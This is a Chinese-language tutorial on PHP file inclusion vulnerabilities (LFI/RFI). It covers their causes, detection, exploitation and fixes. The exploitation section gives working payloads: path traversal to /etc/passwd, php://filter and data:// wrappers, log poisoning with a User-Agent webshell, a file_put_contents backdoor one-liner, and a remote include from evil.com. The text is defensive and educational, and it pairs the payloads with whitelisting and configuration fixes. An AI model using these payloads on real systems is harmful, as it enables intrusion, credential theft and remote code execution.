1. 项目概述:从一次“意外”的服务器文件泄露说起
几年前,我在一次常规的安全测试中,遇到了一个非常典型的场景。一个看似普通的网站,在它的某个功能页面,URL地址栏里有一个形如?page=about.php的参数。出于职业习惯,我尝试将about.php替换成了/etc/passwd。按下回车键后,屏幕上并没有显示预期的“页面未找到”错误,而是清晰地列出了服务器上所有用户的账户信息。那一刻,我意识到,我遇到了一个教科书级别的“文件包含漏洞”。这个漏洞,就像在网站坚固的城墙下,发现了一扇忘记上锁、甚至可以直接通往金库的后门。它不直接攻击数据库,也不暴力破解密码,而是利用程序本身“包含”文件的功能设计缺陷,让攻击者能够读取、甚至执行服务器上的任意文件。
文件包含漏洞,在Web安全领域是一个经久不衰的经典议题。它主要发生在使用PHP、JSP等服务器端脚本语言的动态网站中,当程序在引入(包含)外部文件时,未对用户输入的文件路径进行严格的过滤和校验,就可能导致恶意文件被引入执行。简单来说,就是程序太“听话”了,用户让它包含什么文件,它就去包含什么文件,而不管这个文件是否在预期的目录下,或者是否是一个可执行的后门脚本。这个漏洞的危害极大,轻则导致敏感配置文件(如数据库连接信息)泄露,重则能让攻击者直接获取服务器权限(即“getshell”)。今天,我们就来彻底拆解这个漏洞的原理、挖掘方法、利用技巧以及最关键的——修复方案。无论你是刚入门的安全爱好者,还是有一定经验的开发人员,理解文件包含漏洞,都能让你在构建或审查Web应用时,多一双发现隐患的眼睛。
2. 漏洞原理深度拆解:为什么程序会“引狼入室”?
要理解漏洞,必须先理解其正常工作的机制。文件包含的核心目的是代码复用。开发者为了不让同样的导航栏代码在几十个页面里重复书写,会将其写在一个独立的header.php文件里。然后在每个需要导航栏的页面顶部,通过一句include(‘header.php‘);来引入。这样,修改导航栏时只需改动一个文件,所有页面都会同步更新,大大提升了开发效率和可维护性。
2.1 包含函数的运作机制
以PHP为例,主要有四个相关的包含函数:
include(): 包含并运行指定文件。如果包含失败(如文件不存在),会发出一个警告(E_WARNING),但脚本会继续执行。require(): 与include()类似,但如果包含失败,会产生一个致命错误(E_COMPILE_ERROR),并停止脚本执行。include_once()/require_once(): 功能与前两者相同,但会检查该文件是否已经被包含过,如果是则不会再次包含,防止函数重定义等问题。
这些函数在设计时,其参数(即文件路径)本应是开发者硬编码在程序里的固定值,例如include(‘./templates/header.php‘);。问题就出在,有些开发者为了灵活性,将这个路径变成了一个动态变量,而这个变量的值来源于用户可控的输入,比如URL参数、Cookie或表单数据。
2.2 漏洞产生的核心链条
漏洞产生的逻辑链条非常清晰:
- 动态包含:程序使用类似
include($_GET[‘page‘] . ‘.php‘);的代码。 - 用户可控:
$_GET[‘page‘]的值直接来自URL参数?page=about。 - 缺乏过滤:程序没有对
$_GET[‘page‘]进行任何有效的检查,比如是否只包含字母数字、是否包含路径遍历符号(../)、是否在白名单内等。 - 恶意输入:攻击者将参数值改为
../../../etc/passwd。 - 灾难性包含:程序拼接后成为
include(‘../../../etc/passwd.php‘);。虽然加了.php后缀,但通过路径遍历(../)跳出了Web目录,去包含系统文件/etc/passwd。由于该文件不存在.php后缀,在默认配置下,PHP会尝试读取该文件内容并将其作为文本输出,导致敏感信息泄露。
注意:这里有一个关键点,如果PHP配置
allow_url_include为On,攻击者甚至可以包含远程服务器上的恶意脚本(如http://evil.com/shell.txt),让服务器直接下载并执行,这就是“远程文件包含漏洞(RFI)”,危害比本地文件包含(LFI)更大。但现代PHP版本默认已将其关闭,因此LFI更为常见。
2.3 两种包含模式:本地与远程
- 本地文件包含(LFI, Local File Inclusion):只能包含服务器本地文件系统上的文件。利用方式通常是通过路径遍历读取敏感文件,或结合其他漏洞(如文件上传)将恶意代码写入服务器后再包含执行。
- 远程文件包含(RFI, Remote File Inclusion):可以包含远程URL地址上的文件。这相当于让Web服务器主动从攻击者控制的站点下载并执行代码,是极其危险的。其利用前提是
allow_url_include配置为On,这在目前的生产环境中已非常罕见。
3. 漏洞挖掘与利用实战手册
知道原理后,我们如何在真实场景中寻找和利用它?下面是一套系统的实操流程。
3.1 漏洞发现与探测
挖掘文件包含漏洞,关键在于寻找那些可能接受文件路径参数的点。
1. 参数点枚举:
- URL参数:这是最常见的位置。仔细观察URL,如
index.php?file=news,download.php?path=manual.pdf,page.php?module=userProfile。任何看起来像在指定某个页面、模块或文件的参数都值得怀疑。 - Cookie值:有时文件路径会存储在Cookie中,通过修改Cookie值进行测试。
- POST数据:虽然较少见,但一些通过表单提交的请求,其隐藏域或输入框可能对应文件包含参数。
- HTTP请求头:某些自定义的头部字段也可能被程序使用。
2. 基础探测Payload:发现可疑参数后,使用以下Payload进行初步测试(假设参数名为f):
- 路径遍历:
?f=../../../../etc/passwd - 绝对路径:
?f=/etc/passwd(Linux) 或?f=C:\Windows\win.ini(Windows) - 协议封装(测试RFI):
?f=http://your-vps.com/test.txt(需配合监听,观察服务器是否发起请求) - 过滤绕过试探:如果程序添加了后缀,如
include($f . ‘.php‘);,尝试:?f=../../../../etc/passwd%00(空字节截断,在PHP<5.3.4特定环境下有效)?f=php://filter/read=convert.base64-encode/resource=index.php(使用PHP封装器,下文详述)
3. 工具辅助:
- Burp Suite:使用Intruder模块,加载包含大量路径遍历和敏感文件路径的字典,对参数进行模糊测试。
- 浏览器插件:如 “LFI Suite” 等,可以快速添加常见Payload。
3.2 高级利用技巧:当简单读取遇到阻碍
直接读取/etc/passwd往往只是开始。实战中,程序会有各种防御措施,我们需要更巧妙的技巧。
3.2.1 利用PHP封装器(PHP Wrappers)
PHP封装器是LFI利用中的“瑞士军刀”,它允许我们以流的方式访问各种资源,甚至执行代码。
php://filter– 文件读取与编码绕过这是最常用、最强大的封装器。当程序包含文件时,如果文件内容被直接输出到页面,我们可以用它来读取源码,即使文件后缀被强制添加。Payload示例:?file=php://filter/read=convert.base64-encode/resource=index.php原理:这个Payload不是让服务器去“执行”index.php,而是将其作为数据流,先经过convert.base64-encode过滤器的处理,将文件内容进行Base64编码,然后再输出。这样,我们得到的就是一串Base64编码的源代码,解码后即可获得清晰的PHP源码,从中寻找数据库配置、其他漏洞点等。为什么有效:因为resource=后面的值是要读取的文件,它不受后续强制添加的.php后缀影响。程序实际执行的是include(‘php://filter/.../resource=index.php.php‘),但php://filter协议会正确解析到index.php文件。php://input– 执行任意代码当allow_url_include为On时,此封装器允许我们读取POST请求的原始体(raw body)作为PHP代码执行。利用步骤:- 将请求方法改为
POST。 - 参数设置为
?file=php://input。 - 在POST Body中直接写入PHP代码,如
<?php system(‘whoami‘); ?>。 - 发送请求,服务器会执行POST Body中的代码。注意事项:此方法在现代PHP默认配置下通常不可用,但仍是需要检查的点。
- 将请求方法改为
data://– 直接嵌入代码同样需要allow_url_include=On。它允许直接在URL中嵌入Base64编码的数据并执行。Payload示例:?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==其中PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==就是<?php system(‘whoami‘); ?>的Base64编码。
3.2.2 日志文件注入(Log Poisoning)
这是一种非常经典的“LFI到RCE(远程代码执行)”的技巧。思路是:将PHP代码注入到服务器某个会被记录的日志文件中,然后通过LFI去包含这个日志文件,从而执行代码。
最常用的目标是Web访问日志(如Apache的/var/log/apache2/access.log)。
- 确认日志路径:通过LFI读取可能的日志文件,或利用常见默认路径。
- 注入代码:在HTTP请求中,无法直接上传文件,但我们可以将PHP代码放在User-Agent或Referer头部,因为这些信息通常会被记录到访问日志中。
这行代码会被原样记录到GET /index.php HTTP/1.1 Host: target.com User-Agent: <?php system($_GET[‘cmd‘]); ?>access.log中。 - 包含执行:使用LFI漏洞去包含这个日志文件,并传递命令参数。
?file=/var/log/apache2/access.log&cmd=id当服务器执行include(‘access.log‘)时,日志文件中的<?php system($_GET[‘cmd‘]); ?>会被当作PHP代码解析,从而执行id命令。
实操心得:日志文件通常很大,包含时可能会超时或导致错误。一个技巧是先注入一个简单的Webshell代码,如<?php file_put_contents(‘/tmp/shell.php‘, ‘<?php eval($_POST[“c”]);?>‘);?>,通过包含日志文件,在Web目录(如/tmp)下生成一个更稳定的后门文件,然后直接访问该后门。
3.2.3 利用/proc/self/environ 或 /proc/self/fd/
在Linux系统中,/proc/是一个虚拟文件系统,包含了进程和系统的运行时信息。
/proc/self/environ:包含了当前进程的环境变量。其中HTTP_USER_AGENT环境变量就来自我们的请求头。因此,我们可以像污染日志一样,将PHP代码放在User-Agent中,然后通过包含/proc/self/environ文件来执行代码。/proc/self/fd/:这是一个目录,包含了当前进程打开的文件描述符。有时可以通过遍历fd编号(如../../proc/self/fd/12)来访问一些临时文件或日志。
重要提示:这些利用方式高度依赖于服务器配置(如日志路径、
/proc是否可访问、PHP配置)。在实际测试中,需要根据目标环境灵活选择和组合这些技巧。
4. 漏洞修复指南:从根源上堵住后门
理解了如何利用,就更要知道如何防御。修复文件包含漏洞,核心原则是:杜绝用户输入控制文件路径。
4.1 最佳实践:白名单机制
最有效、最根本的修复方法是采用白名单机制。即程序只允许包含预先定义好的、有限的几个文件。
修复代码示例:
// 定义允许包含的文件白名单 $allowed_pages = array(‘home‘, ‘about‘, ‘contact‘, ‘news‘); // 获取用户输入 $page = $_GET[‘page‘]; // 严格检查:输入是否在白名单中 if (in_array($page, $allowed_pages)) { // 安全地拼接路径,避免目录穿越 $file_path = ‘./templates/‘ . $page . ‘.php‘; // 可以附加检查文件是否存在 if (file_exists($file_path)) { include($file_path); } else { die(‘Requested page not found.‘); } } else { // 输入不在白名单内,直接拒绝或跳转到默认页 die(‘Invalid page requested.‘); // 或:include(‘./templates/home.php‘); }这种方法彻底切断了用户输入与文件路径的直接关联,无论攻击者输入什么,都无法跳出预设的范围。
4.2 输入验证与过滤
如果业务上确实需要一定的动态性,无法使用严格的白名单,则必须进行严格的输入验证。
- 过滤目录遍历字符:使用函数如
str_replace(‘../‘, ‘‘, $input)或正则表达式彻底删除../、..\等字符。但要注意双写等绕过方式(....//)。 - 限制文件扩展名:确保最终包含的文件具有预期的扩展名(如
.php、.inc)。 - 设置包含根目录:使用
basename()函数获取路径中的文件名部分,防止目录穿越。或者使用chdir()将当前目录切换到固定的安全目录后,再包含文件。
4.3 安全配置
- PHP配置:
- 将
allow_url_fopen和allow_url_include设置为Off。这是关闭远程文件包含的最直接方法。 - 使用
open_basedir指令限制PHP脚本可以访问的文件系统目录范围。例如,open_basedir = /var/www/html:/tmp将PHP的操作限制在这两个目录及其子目录下,使其无法读取/etc/passwd。
- 将
- Web服务器配置:为Web服务器进程(如www-data用户)设置严格的文件系统权限,遵循最小权限原则,使其只能读取必要的Web目录文件。
4.4 代码架构优化
- 避免动态包含:重新评估代码设计,是否必须使用动态包含?很多时候可以通过路由控制器(如
index.php?action=about然后由控制器调用About类)或模板引擎来替代。 - 使用安全的API:如果需要加载外部数据,使用更安全的函数,例如对于配置文件,使用
parse_ini_file()而非include()。
5. 实战案例与排查记录
理论说再多,不如看一个真实的排查过程。有一次我审计一个内部系统,发现了一个隐蔽的LFI点。
漏洞点:在用户下载报告的功能中,URL为download.php?report=monthly_202310.pdf。后端代码大意如下:
$report_name = $_GET[‘report‘]; $file_path = ‘./reports/‘ . $report_name; if (file_exists($file_path)) { header(‘Content-Type: application/pdf‘); readfile($file_path); } else { echo ‘Report not found.‘; }看起来它用了readfile()直接读取文件并输出,似乎不是include。但问题在于,它没有验证文件后缀。我尝试访问download.php?report=../../config/database.php。服务器返回了一堆乱码,但通过查看响应头,发现Content-Type竟然被错误地设置为application/pdf。我将响应内容保存为.txt文件,打开一看,赫然是数据库的连接用户名和密码明文。
漏洞根源:虽然这里不是执行漏洞,但属于“任意文件读取”,是文件包含漏洞的“近亲”。其根源同样是用户输入未经净化直接拼接为文件路径,并且没有做目录限制。
修复方案:我建议的修复措施是:
- 白名单验证报告文件名(基于已知的报告生成规则)。
- 使用
basename()函数,确保$report_name不包含任何路径。 - 在拼接路径后,使用
realpath()函数解析绝对路径,并检查该路径是否以Web报告目录(/var/www/html/reports/)的绝对路径开头,如果不是则拒绝。
排查技巧实录:
- 观察响应头:在测试任意文件读取时,服务器的
Content-Type响应头常常会“出卖”它。尝试读取一个.php文件,如果返回的Content-Type是text/html且内容是源码而非执行结果,说明文件被直接读取了。 - 错误信息利用:有时包含不存在的文件,PHP会报出包含路径的警告信息,这可能会泄露网站的绝对路径,为后续的路径遍历攻击提供关键信息。
- 时间盲注:对于没有任何回显的包含点,可以尝试使用
php://filter读取一个非常大的文件(如/dev/urandom),通过观察请求响应时间的显著增加,来判断包含是否成功。
文件包含漏洞如同一面镜子,映照出开发中对“用户输入不可信”这一黄金法则的忽视。它的利用方式充满技巧和变化,从简单的路径遍历到复杂的日志注入与封装器利用,体现了攻防之间的思维博弈。对于开发者而言,坚守白名单、做好输入校验、遵循安全配置,是关闭这扇危险之门的唯一钥匙。而对于安全人员,深入理解其原理和利用链,不仅能有效发现隐患,更能从攻击者的视角审视系统,提出真正治本的修复建议。安全之路,始于对每一个细微之处保持敬畏与警惕。